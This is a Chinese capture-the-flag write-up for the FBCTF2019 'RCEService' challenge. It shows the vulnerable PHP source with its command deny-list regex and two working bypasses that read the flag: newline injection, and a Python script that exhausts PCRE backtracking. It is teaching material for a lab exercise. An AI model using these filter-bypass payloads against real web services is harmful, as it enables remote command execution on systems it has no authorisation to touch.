buu-[FBCTF2019]RCEService
知识点:
linux命令的使用和目录查询
preg_match()函数的绕过
P神:PHP利用PCRE回溯次数限制绕过某些安全限制
wp
根据题目的提示,应该就是利用json数据造成远程rce,先小试一下
{"cmd":"ls"}
发现可以显示,然后尝试其它危险函数,发现都没ban了,卡了好久,无奈查看别的大师傅的wp,原来有源码!
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
简单审计一下,发现过滤掉了好多函数,那现在主要就是去想办法绕过preg_match()函数
方法一:
preg_match()函数只能匹配第一行数据,可以使用换行符%0a绕过,payload如下:
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
这里为什么要是用/bin/cat,审计代码会发现,刚开始设置了路径,所以在这里我们要使用cat的绝对路径,那为什么ls可以用呢,猜测应该是ls的二进制在目录下
然后看大佬的wp发现还有一种方法:P神:PHP利用PCRE回溯次数限制绕过某些安全限制
方法二:
可以先参考一下上面的链接了解一下,原理很简单,上脚本:
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://1147c940-0749-4183-b3f9-035f43b26a3d.node4.buuoj.cn:81/", data={"cmd":payload})
print(res.text)
<html>
<body>
<h1>Web Adminstration Interface</h1>
Attempting to run command:<br/>flag{f8ee7880-edfc-4ed3-8bd9-4d541dcfaa3c}
<br/><br/>
<form>
Enter command as JSON:
<input name="cmd" />
</form>
</body>
</html>
|